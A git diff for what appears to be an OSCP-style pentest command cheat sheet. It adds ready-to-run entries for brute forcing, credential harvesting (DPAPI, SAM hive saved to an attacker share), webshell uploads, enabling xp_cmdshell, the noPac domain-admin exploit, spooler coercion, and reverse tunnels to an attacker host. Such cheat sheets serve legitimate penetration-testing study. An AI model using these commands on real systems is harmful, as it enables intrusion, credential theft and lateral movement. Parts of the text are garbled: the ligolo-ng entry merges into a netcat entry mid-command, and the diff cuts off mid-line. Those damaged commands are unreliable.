diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 98b995f..7db5ee0 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -44,6 +44,7 @@ references: | `category` | yes | `oscp` and/or `cli`. | | `service` | yes | One or more services (see below). | | `phase` | yes | One or more phases (see below). | +| `have` | see notes | Required whenever a command can authenticate with a hash, ticket, or certificate. Powers the "what you have" filter. | | `references` | no | List of URLs to docs/tooling. | \* Provide **either** `command` or `variants`, not both. @@ -62,12 +63,13 @@ variants: - label: password command: | evil-winrm -i $IP -u $USER -p $PASSWORD - - label: pth + - label: hash command: | evil-winrm -i $IP -u $USER -H $HASH description: Interactive WinRM shell, by auth method. os: [Linux] category: [oscp, cli] +have: [hash] service: [WinRM] phase: [Exploitation] references: @@ -75,8 +77,9 @@ references: --- ``` -`os`, `category`, `service`, and `phase` are shared across the whole entry, so -list the union of what the variants need. +`os`, `category`, `service`, `phase`, and `have` are shared across the whole +entry, so list the union of what the variants need. Label a pass-the-hash +variant `hash` rather than `pth`, so the label matches the `have` value. ### Variables @@ -94,13 +97,15 @@ out in full: `/usr/share/wordlists/rockyou.txt`. - **os:** `Linux`, `Windows` - **category:** `oscp`, `cli` - **service:** `SMB`, `LDAP`, `Kerberos`, `WinRM`, `RDP`, `MSSQL`, `HTTP`, `SNMP`, - `DNS`, `RPC`, `Redis`, `MySQL`, `SSH`, `AD`, `ADCS`, `WMI` + `DNS`, `RPC`, `Redis`, `MySQL`, `SSH`, `AD`, `ADCS`, `WMI`, `FTP`, `NFS`, + `SMTP`, `IMAP`, `POP3`, `Oracle`, `PostgreSQL` - **phase:** `Enumeration`, `Exploitation`, `PrivEsc`, `Persistence`, `Cracking`, `Pivoting`, `LateralMovement`, `CredAccess`, `InitialAccess` +- **have:** `hash`, `ticket`, `cert` Need a value that isn't listed? Add it to the matching file in -[`_data/`](_data/) (`os.yml`, `category.yml`, `service.yml`, `phase.yml`) in the -same PR. +[`_data/`](_data/) (`os.yml`, `category.yml`, `service.yml`, `phase.yml`, +`have.yml`) in the same PR. ### Install-set rules diff --git a/_commands/autorecon.md b/_commands/autorecon.md new file mode 100644 index 0000000..e59c6c5 --- /dev/null +++ b/_commands/autorecon.md @@ -0,0 +1,20 @@ +--- +variants: + - label: single + command: | + autorecon $IP + - label: targets-file + command: | + autorecon -t targets.txt + - label: all-ports + command: | + autorecon $IP --port-scans top-100-ports --service-scans default +description: Multi-threaded recon wrapper that runs nmap then per-service enumeration automatically +os: [Linux] +category: [oscp, cli] +service: [SMB, HTTP, DNS] +phase: [Enumeration] +references: + - https://www.kali.org/tools/autorecon/ + - https://github.com/Tib3rius/AutoRecon +--- diff --git a/_commands/certipy.md b/_commands/certipy.md index a6d2570..19e3ea0 100644 --- a/_commands/certipy.md +++ b/_commands/certipy.md @@ -56,6 +56,8 @@ variants: command: | # authenticate with a pfx to recover the NT hash / get a TGT certipy auth -dc-ip $DCIP -pfx administrator.pfx + # when the pfx carries more than one identity, name the one you want + certipy auth -dc-ip $DCIP -pfx user.pfx -username $USER -domain $DOMAIN # if that fails, drop into an LDAP shell instead certipy auth -dc-ip $DCIP -pfx administrator.pfx -ldap-shell description: Enumerate and abuse AD CS with Certipy (ESC1 / ESC7 / ESC9 / shadow). @@ -63,7 +65,8 @@ os: [Linux] category: [oscp, cli] have: [hash, ticket, cert] service: [ADCS, Kerberos] -phase: [Enumeration, PrivEsc] +phase: [Enumeration, PrivEsc, CredAccess] references: + - https://www.kali.org/tools/certipy-ad/ - https://github.com/ly4k/Certipy --- diff --git a/_commands/cewl.md b/_commands/cewl.md new file mode 100644 index 0000000..95b8620 --- /dev/null +++ b/_commands/cewl.md @@ -0,0 +1,11 @@ +--- +command: | + cewl -d 2 -m 5 -w words.txt $URL +description: Spider a site to depth 2 and build a custom wordlist of words 5 chars or longer +os: [Linux] +category: [oscp, cli] +service: [HTTP] +phase: [Cracking] +references: + - https://www.kali.org/tools/cewl/ +--- diff --git a/_commands/chisel.md b/_commands/chisel.md new file mode 100644 index 0000000..36d5cee --- /dev/null +++ b/_commands/chisel.md @@ -0,0 +1,26 @@ +--- +variants: + - label: server-reverse + command: | + chisel server -p $LPORT --reverse + - label: client-reverse-socks + command: | + chisel client $LHOST:$LPORT R:socks + - label: client-reverse-fwd + command: | + chisel client $LHOST:$LPORT R:$LPORT:127.0.0.1:3306 + - label: server-forward-socks + command: | + chisel server -p $LPORT --socks5 + - label: client-forward-socks + command: | + chisel client $IP:$LPORT socks +description: Fast TCP/UDP tunnel over HTTP for reverse SOCKS proxies and port forwarding through a foothold +os: [Linux, Windows] +category: [oscp, cli] +service: [HTTP] +phase: [Pivoting] +references: + - https://gitlab.com/kalilinux/packages/chisel + - https://github.com/jpillora/chisel +--- diff --git a/_commands/crunch.md b/_commands/crunch.md new file mode 100644 index 0000000..26a15e1 --- /dev/null +++ b/_commands/crunch.md @@ -0,0 +1,18 @@ +--- +variants: + - label: from-names + command: | + crunch 1 1 -f fullnames.txt -t ,@^ -o usernames.txt 1 + - label: charset + command: | + crunch 6 8 -f /usr/share/crunch/charset.lst mixalpha-numeric -o wordlist.txt + - label: pattern + command: | + crunch 8 8 -t Pass@,%% -o wordlist.txt +description: Generate a targeted wordlist by length, charset, or pattern instead of reaching for rockyou +os: [Linux] +category: [oscp, cli] +phase: [CredAccess, Cracking] +references: + - https://www.kali.org/tools/crunch/ +--- diff --git a/_commands/curl.md b/_commands/curl.md new file mode 100644 index 0000000..ecf6f9d --- /dev/null +++ b/_commands/curl.md @@ -0,0 +1,25 @@ +--- +variants: + - label: get + command: | + curl -i $URL + - label: headers + command: | + curl -I $URL + - label: post-json + command: | + curl -X POST -H "Content-Type: application/json" -d '{"user":"admin"}' $URL + - label: put-upload + command: | + curl -X PUT --data-binary @shell.php $URL/shell.php + - label: proxy + command: | + curl -k -x http://127.0.0.1:8080 $URL +description: Transfer data over HTTP for manual web testing, file upload, and proxying through Burp +os: [Linux] +category: [oscp, cli] +service: [HTTP] +phase: [Enumeration] +references: + - https://www.kali.org/tools/curl/ +--- diff --git a/_commands/dig.md b/_commands/dig.md new file mode 100644 index 0000000..c6c9ea0 --- /dev/null +++ b/_commands/dig.md @@ -0,0 +1,25 @@ +--- +variants: + - label: a-record + command: | + dig $DOMAIN @$IP + - label: any + command: | + dig ANY $DOMAIN @$IP + - label: zone-transfer + command: | + dig AXFR $DOMAIN @$IP + - label: reverse + command: | + dig -x $IP @$IP + - label: ns + command: | + dig NS $DOMAIN @$IP +description: Query a DNS server for records and attempt a zone transfer against the target nameserver +os: [Linux] +category: [oscp, cli] +service: [DNS] +phase: [Enumeration] +references: + - https://www.kali.org/tools/bind9/#dig +--- diff --git a/_commands/dnsenum.md b/_commands/dnsenum.md new file mode 100644 index 0000000..3d01143 --- /dev/null +++ b/_commands/dnsenum.md @@ -0,0 +1,11 @@ +--- +command: | + dnsenum --dnsserver $IP $DOMAIN +description: Enumerate DNS records, attempt zone transfers, and brute force subdomains for a domain +os: [Linux] +category: [oscp, cli] +service: [DNS] +phase: [Enumeration] +references: + - https://www.kali.org/tools/dnsenum/ +--- diff --git a/_commands/donpapi.md b/_commands/donpapi.md new file mode 100644 index 0000000..1c3b2bc --- /dev/null +++ b/_commands/donpapi.md @@ -0,0 +1,20 @@ +--- +variants: + - label: creds + command: | + donpapi collect -u $USER -p $PASSWORD -d $DOMAIN --dc-ip $DCIP -t ALL + - label: hash + command: | + donpapi collect -u $USER -H ':$HASH' -d $DOMAIN --dc-ip $DCIP -t ALL --fetch-pvk + - label: browse + command: | + donpapi browse +description: Mass harvest DPAPI protected browser, wifi, and credential manager secrets across hosts +os: [Linux] +category: [oscp, cli] +have: [hash] +service: [SMB] +phase: [CredAccess] +references: + - https://github.com/login-securite/DonPAPI +--- diff --git a/_commands/enum4linux.md b/_commands/enum4linux.md new file mode 100644 index 0000000..227eed3 --- /dev/null +++ b/_commands/enum4linux.md @@ -0,0 +1,16 @@ +--- +variants: + - label: all-null + command: | + enum4linux -a $IP + - label: all-creds + command: | + enum4linux -a -u $USER -p $PASSWORD $IP +description: Enumerate SMB shares, users, groups, and policy over null or authenticated sessions +os: [Linux] +category: [oscp, cli] +service: [SMB] +phase: [Enumeration] +references: + - https://www.kali.org/tools/enum4linux/ +--- diff --git a/_commands/evil-winrm.md b/_commands/evil-winrm.md index 37cd02c..6136781 100644 --- a/_commands/evil-winrm.md +++ b/_commands/evil-winrm.md @@ -12,12 +12,16 @@ variants: - label: cert command: | evil-winrm -i $IP -c pub.pem -k priv.pem -S -r $DOMAIN -description: Interactive WinRM shell, by auth method. + - label: scripts + command: | + evil-winrm -i $IP -u $USER -p $PASSWORD -s /scripts -e /executables +description: Interactive WinRM shell, by auth method, with script and executable loading os: [Linux] category: [oscp, cli] have: [hash, ticket, cert] service: [WinRM] -phase: [Exploitation] +phase: [Exploitation, LateralMovement] references: + - https://www.kali.org/tools/evil-winrm/ - https://github.com/Hackplayers/evil-winrm --- diff --git a/_commands/ffuf.md b/_commands/ffuf.md index 5ae0bc3..c5c6d85 100644 --- a/_commands/ffuf.md +++ b/_commands/ffuf.md @@ -1,11 +1,23 @@ --- -command: | - ffuf -u http://$IP/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 300 -fs 3142 -description: Directory fuzz a web server filtering by response size. +variants: + - label: dir + command: | + ffuf -u $URL/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt + - label: vhost + command: | + ffuf -u $URL -H "Host: FUZZ.$DOMAIN" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 4242 + - label: post-login + command: | + ffuf -u $URL/login -X POST -d "username=admin&password=FUZZ" -w /usr/share/wordlists/rockyou.txt -fc 200 + - label: params + command: | + ffuf -u "$URL/?FUZZ=value" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt +description: Fast web fuzzer for directories, vhosts, login fields, and parameters with response filtering os: [Linux] category: [oscp, cli] service: [HTTP] phase: [Enumeration] references: + - https://www.kali.org/tools/ffuf/ - https://github.com/ffuf/ffuf --- diff --git a/_commands/fierce.md b/_commands/fierce.md new file mode 100644 index 0000000..3adf7ed --- /dev/null +++ b/_commands/fierce.md @@ -0,0 +1,11 @@ +--- +command: | + fierce --domain $DOMAIN --dns-servers $IP +description: Locate non-contiguous IP space and hostnames for a domain via DNS scanning +os: [Linux] +category: [oscp, cli] +service: [DNS] +phase: [Enumeration] +references: + - https://www.kali.org/tools/fierce/ +--- diff --git a/_commands/finalrecon.md b/_commands/finalrecon.md new file mode 100644 index 0000000..1dc099f --- /dev/null +++ b/_commands/finalrecon.md @@ -0,0 +1,17 @@ +--- +variants: + - label: full + command: | + finalrecon --full --url $URL + - label: headers-whois + command: | + finalrecon --headers --whois --url $URL +description: All in one web recon covering headers, SSL, whois, DNS, subdomains, and crawling +os: [Linux] +category: [oscp, cli] +service: [HTTP] +phase: [Enumeration] +references: + - https://www.kali.org/tools/finalrecon/ + - https://github.com/thewhiteh4t/FinalRecon +--- diff --git a/_commands/ftp.md b/_commands/ftp.md new file mode 100644 index 0000000..e986310 --- /dev/null +++ b/_commands/ftp.md @@ -0,0 +1,16 @@ +--- +variants: + - label: connect + command: | + ftp $IP + - label: anonymous + command: | + ftp anonymous@$IP +description: Connect to an FTP service to test anonymous access and browse the file store +os: [Linux] +category: [oscp, cli] +service: [FTP] +phase: [Enumeration] +references: + - https://www.kali.org/tools/tnftp/ +--- diff --git a/_commands/getnthash.md b/_commands/getnthash.md new file mode 100644 index 0000000..c4ff1c6 --- /dev/null +++ b/_commands/getnthash.md @@ -0,0 +1,13 @@ +--- +command: | + export KRB5CCNAME=out.ccache + uv run getnthash.py -key $ASREPKEY $DOMAIN/$USER +description: Recover the NT hash of an account from the PKINIT session key returned by gettgtpkinit +os: [Linux] +category: [oscp, cli] +have: [ticket] +service: [Kerberos] +phase: [CredAccess] +references: + - https://github.com/dirkjanm/PKINITtools +--- diff --git a/_commands/gobuster.md b/_commands/gobuster.md new file mode 100644 index 0000000..001412c --- /dev/null +++ b/_commands/gobuster.md @@ -0,0 +1,20 @@ +--- +variants: + - label: dir + command: | + gobuster dir -u $URL -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt + - label: dns + command: | + gobuster dns -d $DOMAIN -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt + - label: vhost + command: | + gobuster vhost -u $URL -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain +description: Brute force web content, DNS subdomains, and virtual hosts by mode +os: [Linux] +category: [oscp, cli] +service: [HTTP, DNS] +phase: [Enumeration] +references: + - https://www.kali.org/tools/gobuster/ + - https://github.com/OJ/gobuster +--- diff --git a/_commands/gpp-decrypt.md b/_commands/gpp-decrypt.md new file mode 100644 index 0000000..af45505 --- /dev/null +++ b/_commands/gpp-decrypt.md @@ -0,0 +1,17 @@ +--- +variants: + - label: decrypt + command: | + gpp-decrypt '$CPASSWORD' + - label: hunt-sysvol + command: | + grep -ril cpassword /mnt/sysvol + gpp-decrypt '$CPASSWORD' +description: Decrypt a cpassword value pulled from a SYSVOL Group Policy Preferences XML file +os: [Linux] +category: [oscp, cli] +service: [SMB, AD] +phase: [CredAccess] +references: + - https://www.kali.org/tools/gpp-decrypt/ +--- diff --git a/_commands/hping3.md b/_commands/hping3.md new file mode 100644 index 0000000..b7579de --- /dev/null +++ b/_commands/hping3.md @@ -0,0 +1,18 @@ +--- +variants: + - label: ack-probe + command: | + sudo hping3 -c 1 -A -p 445 $IP + - label: rst-probe + command: | + sudo hping3 -c 1 -R -p 445 $IP + - label: syn-source-port + command: | + sudo hping3 -S -s 53 -p 50000 $IP +description: Craft single TCP probes to test firewall rules and source port filtering +os: [Linux] +category: [oscp, cli] +phase: [Enumeration] +references: + - https://www.kali.org/tools/hping3/ +--- diff --git a/_commands/hydra.md b/_commands/hydra.md new file mode 100644 index 0000000..8426267 --- /dev/null +++ b/_commands/hydra.md @@ -0,0 +1,22 @@ +--- +variants: + - label: ssh + command: | + hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://$IP + - label: ftp + command: | + hydra -l $USER -P /usr/share/wordlists/rockyou.txt ftp://$IP + - label: http-post-form + command: | + hydra -l $USER -P /usr/share/wordlists/rockyou.txt $IP http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect" + - label: rdp + command: | + hydra -l $USER -P /usr/share/wordlists/rockyou.txt rdp://$IP +description: Online password brute forcer, by service, for SSH, FTP, HTTP forms, and RDP +os: [Linux] +category: [oscp, cli] +service: [SSH, FTP, HTTP, RDP] +phase: [CredAccess] +references: + - https://www.kali.org/tools/hydra/ +--- diff --git a/_commands/impacket-dacledit.md b/_commands/impacket-dacledit.md new file mode 100644 index 0000000..28d2741 --- /dev/null +++ b/_commands/impacket-dacledit.md @@ -0,0 +1,23 @@ +--- +variants: + - label: read + command: | + impacket-dacledit -action read -principal $USER -target '$TARGET_USER' -dc-ip $DCIP '$DOMAIN/$USER:$PASSWORD' + - label: write + command: | + impacket-dacledit -action write -rights FullControl -principal $USER -target '$TARGET_USER' -dc-ip $DCIP '$DOMAIN/$USER:$PASSWORD' + - label: hash + command: | + impacket-dacledit -action read -principal $USER -target '$TARGET_USER' -dc-ip $DCIP -hashes :$HASH '$DOMAIN/$USER' + - label: restore + command: | + impacket-dacledit -action restore -file dacledit.bak -dc-ip $DCIP '$DOMAIN/$USER:$PASSWORD' +description: Read, back up, and modify DACLs on AD objects to find and abuse writable ACEs +os: [Linux] +category: [oscp, cli] +have: [hash] +service: [LDAP, AD] +phase: [Enumeration, PrivEsc] +references: + - https://github.com/fortra/impacket +--- diff --git a/_commands/impacket-raiseChild.md b/_commands/impacket-raiseChild.md new file mode 100644 index 0000000..952dd8f --- /dev/null +++ b/_commands/impacket-raiseChild.md @@ -0,0 +1,17 @@ +--- +variants: + - label: creds + command: | + impacket-raiseChild -target-exec $IP $DOMAIN/$USER:$PASSWORD + - label: hash + command: | + impacket-raiseChild -target-exec $IP -hashes :$HASH $DOMAIN/$USER +description: Escalate from child domain admin to enterprise admin by forging a cross domain golden ticket +os: [Linux] +category: [oscp, cli] +have: [hash] +service: [Kerberos, AD] +phase: [PrivEsc, LateralMovement] +references: + - https://github.com/fortra/impacket +--- diff --git a/_commands/impacket-reg.md b/_commands/impacket-reg.md new file mode 100644 index 0000000..30dcdaf --- /dev/null +++ b/_commands/impacket-reg.md @@ -0,0 +1,27 @@ +--- +variants: + - label: query + command: | + impacket-reg $DOMAIN/$USER:$PASSWORD@$IP query -keyName 'HKLM\SOFTWARE' -s + - label: backup-hives + command: | + impacket-reg $DOMAIN/$USER:$PASSWORD@$IP backup -o 'C:\Windows\Temp' + - label: save-hive + command: | + impacket-reg $DOMAIN/$USER:$PASSWORD@$IP save -keyName 'HKLM\SAM' -o "\\\\$LHOST\\share" + - label: add-key + command: | + impacket-reg $DOMAIN/$USER:$PASSWORD@$IP add -keyName 'HKLM\SOFTWARE\Test' -v 'Flag' -vt 'REG_SZ' -vd 'value' + - label: hash + command: | + impacket-reg -hashes :$HASH $DOMAIN/$USER@$IP add -keyName 'HKLM\System\CurrentControlSet\Control\Lsa' -v 'DisableRestrictedAdmin' -vt 'REG_DWORD' -vd '0' +description: Read and write the remote registry over SMB to query keys or dump SAM, SYSTEM, and SECURITY hives +os: [Linux] +category: [oscp, cli] +have: [hash] +service: [RPC, SMB] +phase: [CredAccess, Enumeration] +references: + - https://www.kali.org/tools/impacket-scripts/ + - https://github.com/fortra/impacket +--- diff --git a/_commands/john-extractors.md b/_commands/john-extractors.md new file mode 100644 index 0000000..9de9412 --- /dev/null +++ b/_commands/john-extractors.md @@ -0,0 +1,36 @@ +--- +variants: + - label: ssh2john + command: | + ssh2john id_rsa > hash.txt + - label: zip2john + command: | + zip2john secret.zip > hash.txt + - label: rar2john + command: | + rar2john secret.rar > hash.txt + - label: office2john + command: | + office2john document.docx > hash.txt + - label: bitlocker2john + command: | + bitlocker2john -i drive.img > hash.txt + - label: keepass2john + command: | + keepass2john database.kdbx > hash.txt + - label: pdf2john + command: | + pdf2john document.pdf > hash.txt + - label: unshadow + command: | + unshadow passwd.txt shadow.txt > hash.txt + - label: crack + command: | + john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt +description: Extract a crackable hash from an encrypted file with the 2john helpers, then crack it with John +os: [Linux] +category: [oscp, cli] +phase: [Cracking] +references: + - https://www.kali.org/tools/john/#bitlocker2john +--- diff --git a/_commands/kerbrute.md b/_commands/kerbrute.md new file mode 100644 index 0000000..8a7468a --- /dev/null +++ b/_commands/kerbrute.md @@ -0,0 +1,19 @@ +--- +variants: + - label: userenum + command: | + kerbrute userenum -d $DOMAIN --dc $DCIP /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt + - label: passwordspray + command: | + kerbrute passwordspray -d $DOMAIN --dc $DCIP users.txt $PASSWORD + - label: bruteuser + command: | + kerbrute bruteuser -d $DOMAIN --dc $DCIP /usr/share/wordlists/rockyou.txt $USER +description: Brute force and enumerate AD accounts through Kerberos pre-auth without locking on userenum +os: [Linux] +category: [oscp, cli] +service: [Kerberos] +phase: [CredAccess, Enumeration] +references: + - https://github.com/ropnop/kerbrute +--- diff --git a/_commands/keytabextract.md b/_commands/keytabextract.md new file mode 100644 index 0000000..bcc1d8e --- /dev/null +++ b/_commands/keytabextract.md @@ -0,0 +1,11 @@ +--- +command: | + keytabextract.py $USER.keytab +description: Pull the realm, service principal, and NTLM hash out of a captured Kerberos keytab +os: [Linux] +category: [oscp, cli] +service: [Kerberos] +phase: [CredAccess] +references: + - https://github.com/sosdave/KeyTabExtract +--- diff --git a/_commands/ligolo-ng.md b/_commands/ligolo-ng.md new file mode 100644 index 0000000..f17a739 --- /dev/null +++ b/_commands/ligolo-ng.md @@ -0,0 +1,33 @@ +--- +variants: + - label: interface + command: | + sudo ip tuntap add user $(whoami) mode tun ligolo + sudo ip link set ligolo up + - label: proxy + command: | + ligolo-ng_proxy -selfcert -laddr 0.0.0.0:11601 + - label: agent + command: | + ./ligolo-ng -connect $LHOST:11601 -ignore-cert + - label: agent-over-ssh + command: | + ssh $USER@$IP 'nohup /tmp/ligolo-ng -connect $LHOST:11601 -ignore-cert >/tmp/ligolo-ng.log 2>&1 loot.txt +description: Catch reverse shells, probe ports, and move files, with rlwrap for a usable shell history +os: [Linux] +category: [oscp, cli] +phase: [Exploitation] +references: + - https://www.kali.org/tools/netcat/ +--- diff --git a/_commands/netdiscover.md b/_commands/netdiscover.md new file mode 100644 index 0000000..efd45eb --- /dev/null +++ b/_commands/netdiscover.md @@ -0,0 +1,15 @@ +--- +variants: + - label: range + command: | + sudo netdiscover -i tun0 -r $SUBNET + - label: passive + command: | + sudo netdiscover -i tun0 -p +description: ARP sweep a local subnet to find live hosts, actively or passively +os: [Linux] +category: [oscp, cli] +phase: [Enumeration] +references: + - https://www.kali.org/tools/netdiscover/ +--- diff --git a/_commands/nfs-cat.md b/_commands/nfs-cat.md new file mode 100644 index 0000000..705bca5 --- /dev/null +++ b/_commands/nfs-cat.md @@ -0,0 +1,22 @@ +--- +variants: + - label: discover + command: | + nfs-ls -D nfs://$IP + - label: list-export + command: | + nfs-ls nfs://$IP/export + - label: read-file + command: | + nfs-cat nfs://$IP/export/path/file.txt + - label: read-as-root + command: | + nfs-cat nfs://$IP/export/path/file.txt?uid=0&gid=0 +description: Read a file off an NFS export with libnfs, including spoofing uid and gid 0 to bypass root squash +os: [Linux] +category: [oscp, cli] +service: [NFS] +phase: [Enumeration, PrivEsc] +references: + - https://github.com/sahlberg/libnfs +--- diff --git a/_commands/nikto.md b/_commands/nikto.md new file mode 100644 index 0000000..5416cdb --- /dev/null +++ b/_commands/nikto.md @@ -0,0 +1,11 @@ +--- +command: | + nikto -h $URL +description: Scan a web server for known vulnerabilities, dangerous files, and misconfigurations +os: [Linux] +category: [oscp, cli] +service: [HTTP] +phase: [Enumeration] +references: + - https://www.kali.org/tools/nikto/ +--- diff --git a/_commands/nopac.md b/_commands/nopac.md new file mode 100644 index 0000000..85ab2c7 --- /dev/null +++ b/_commands/nopac.md @@ -0,0 +1,19 @@ +--- +variants: + - label: scan + command: | + scanner-noPac.py $DOMAIN/$USER:$PASSWORD -dc-ip $DCIP -use-ldap + - label: shell + command: | + noPac.py $DOMAIN/$USER:$PASSWORD -dc-ip $DCIP -dc-host $DC -shell --impersonate administrator -use-ldap + - label: dump + command: | + noPac.py $DOMAIN/$USER:$PASSWORD -dc-ip $DCIP -dc-host $DC --impersonate administrator -use-ldap -dump +description: Check for and exploit CVE-2021-42278 and CVE-2021-42287 to impersonate a domain admin +os: [Linux] +category: [oscp, cli] +service: [Kerberos, AD] +phase: [PrivEsc] +references: + - https://github.com/Ridter/noPac +--- diff --git a/_commands/nxc.md b/_commands/nxc.md index e45aae1..612944f 100644 --- a/_commands/nxc.md +++ b/_commands/nxc.md @@ -4,25 +4,53 @@ variants: command: | nxc smb $IP -u '$USER' -p '$PASSWORD' --groups --local-groups --loggedon-users --rid-brute --sessions --users --shares --pass-pol nxc smb $IP -u 'a' -p '' + nxc smb $IP -u $USER -H $HASH --local-auth --sam --lsa + nxc smb $IP -u $USER -k --use-kcache --shares nxc smb $IP -u '$USER' -p '$PASSWORD' -X 'whoami' nxc smb $IP -u $USER -p $PASSWORD -M coerce_plus nxc smb $IP -M timeroast + nxc smb $IP -u $USER -p $PASSWORD -M spider_plus -o EXCLUDE_DIR='ADMIN$,C$,IPC$' READ_ONLY=false DOWNLOAD=true nxc smb smb_hosts.txt --gen-relay-list relay_targets.txt - label: ldap command: | nxc ldap $IP -u '$USER' -p '$PASSWORD' --trusted-for-delegation --password-not-required --admin-count --users --groups nxc ldap $IP -u users.txt -p '' --asreproast hashes.asrep nxc ldap $IP -u '$USER' -p '$PASSWORD' --kerberoasting hashes.kerberoast + nxc ldap $IP -u '$USER' -p '$PASSWORD' --bloodhound -c All --dns-server $DCIP + nxc ldap $IP -u '$USER' -p '$PASSWORD' --find-delegation - label: winrm command: | nxc winrm $IP -u usernames.txt -p $PASSWORD -d $DOMAIN --local-auth nxc winrm $IP -u $USER -H $HASH + nxc winrm $IP -u '$USER' -p '$PASSWORD' -X 'net localgroup administrators' + - label: mssql + command: | + nxc mssql $IP -u $USER -p $PASSWORD --local-auth + nxc mssql $IP -u $USER -p $PASSWORD -M mssql_priv + nxc mssql $IP -u $USER -p $PASSWORD -q 'SELECT @@version' + # xp_cmdshell is off by default, turn it on before -x will work + nxc mssql $IP -u $USER -p $PASSWORD -q "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;" + nxc mssql $IP -u $USER -p $PASSWORD -x 'whoami' + - label: rdp + command: | + nxc rdp $IP -u $USER -p $PASSWORD + nxc rdp $IP -u $USER -p $PASSWORD --screenshot + nxc rdp $IP -u '' -p '' --nla-screenshot + - label: ssh + command: | + nxc ssh $IP -u users.txt -p passwords.txt --continue-on-success + nxc ssh $IP -u $USER -p $PASSWORD -x 'id' + - label: ftp + command: | + nxc ftp $IP -u users.txt -p passwords.txt + nxc ftp $IP -u $USER -p $PASSWORD --ls description: Enumerate or attack a host with NetExec, by protocol. os: [Linux] category: [oscp, cli] -have: [hash] -service: [SMB, LDAP, WinRM] -phase: [Enumeration, Exploitation] +have: [hash, ticket] +service: [SMB, LDAP, WinRM, MSSQL, RDP, SSH, FTP] +phase: [Enumeration, Exploitation, CredAccess, LateralMovement] references: - https://github.com/Pennyw0rth/NetExec + - https://www.netexec.wiki/ --- diff --git a/_commands/odat.md b/_commands/odat.md new file mode 100644 index 0000000..0a79581 --- /dev/null +++ b/_commands/odat.md @@ -0,0 +1,22 @@ +--- +variants: + - label: all + command: | + odat all -s $IP + - label: sidguesser + command: | + odat sidguesser -s $IP -p 1521 + - label: passwordguesser + command: | + odat passwordguesser -s $IP -p 1521 -d XE --accounts-file /usr/share/odat/accounts/accounts.txt + - label: upload + command: | + odat utlfile -s $IP -p 1521 -d XE -U $USER -P $PASSWORD --putFile 'C:\temp' shell.exe shell.exe +description: Attack an Oracle TNS listener, guess SIDs and accounts, then read and write files on the host +os: [Linux] +category: [oscp, cli] +service: [Oracle] +phase: [Enumeration, Exploitation] +references: + - https://github.com/quentinhardy/odat +--- diff --git a/_commands/onesixtyone.md b/_commands/onesixtyone.md new file mode 100644 index 0000000..37e3fb0 --- /dev/null +++ b/_commands/onesixtyone.md @@ -0,0 +1,19 @@ +--- +variants: + - label: wordlist + command: | + onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt $IP + - label: single + command: | + onesixtyone -c <(echo public) $IP + - label: loop + command: | + for c in public private community snmp backup; do onesixtyone -c <(echo $c) $IP; done +description: Brute force SNMP community strings fast before walking the tree +os: [Linux] +category: [oscp, cli] +service: [SNMP] +phase: [Enumeration, CredAccess] +references: + - https://www.kali.org/tools/onesixtyone/ +--- diff --git a/_commands/openssl.md b/_commands/openssl.md new file mode 100644 index 0000000..da3bc20 --- /dev/null +++ b/_commands/openssl.md @@ -0,0 +1,22 @@ +--- +variants: + - label: imaps + command: | + openssl s_client -connect $IP:993 -quiet + - label: pop3 + command: | + openssl s_client -starttls pop3 -connect $IP:110 -crlf -quiet + - label: smtp + command: | + openssl s_client -starttls smtp -connect $IP:25 -crlf -quiet + - label: cert-names + command: | + openssl s_client -connect $IP:443 /dev/null | openssl x509 -noout -text +description: Open a TLS session to a mail service to read banners, or pull hostnames out of a certificate +os: [Linux] +category: [oscp, cli] +service: [SMTP, IMAP, POP3] +phase: [Enumeration] +references: + - https://docs.openssl.org/master/man1/openssl-s_client/ +--- diff --git a/_commands/patator.md b/_commands/patator.md new file mode 100644 index 0000000..3cde640 --- /dev/null +++ b/_commands/patator.md @@ -0,0 +1,19 @@ +--- +variants: + - label: smb + command: | + patator smb_login host=$IP user=$USER password=FILE0 0=/usr/share/wordlists/rockyou.txt -x ignore:fgrep='STATUS_LOGON_FAILURE' + - label: ssh + command: | + patator ssh_login host=$IP user=$USER password=FILE0 0=/usr/share/wordlists/rockyou.txt -x ignore:mesg='Authentication failed.' + - label: http-form + command: | + patator http_fuzz url=$URL method=POST body='username=$USER&password=FILE0' 0=/usr/share/wordlists/rockyou.txt -x ignore:fgrep='Invalid' +description: Multi protocol brute forcer whose ignore rules filter out the noise of failed attempts +os: [Linux] +category: [oscp, cli] +service: [SMB, SSH, HTTP] +phase: [CredAccess] +references: + - https://www.kali.org/tools/patator/ +--- diff --git a/_commands/printerbug.md b/_commands/printerbug.md new file mode 100644 index 0000000..c767690 --- /dev/null +++ b/_commands/printerbug.md @@ -0,0 +1,11 @@ +--- +command: | + uv run printerbug.py $DOMAIN/$USER:$PASSWORD@$DC $LHOST +description: Coerce a host to authenticate back over MS-RPRN spooler RPC, pair with ntlmrelayx +os: [Linux] +category: [oscp, cli] +service: [RPC] +phase: [Exploitation] +references: + - https://github.com/dirkjanm/krbrelayx +--- diff --git a/_commands/proxychains.md b/_commands/proxychains.md new file mode 100644 index 0000000..3e60585 --- /dev/null +++ b/_commands/proxychains.md @@ -0,0 +1,22 @@ +--- +variants: + - label: config + command: | + # point proxychains at the SOCKS port your tunnel opened, one entry, last line wins + echo 'socks5 127.0.0.1 1080' | sudo tee -a /etc/proxychains4.conf + tail -n 3 /etc/proxychains4.conf + - label: nmap + command: | + # proxychains cannot carry raw sockets, so no -sS, no -sU, and no ICMP host discovery + proxychains -q nmap -Pn -sT -sV -oN proxychains_nmap.txt $IP + - label: wrap-a-tool + command: | + # any TCP client works the same way, prefix it and keep -q to mute the per connection noise + proxychains 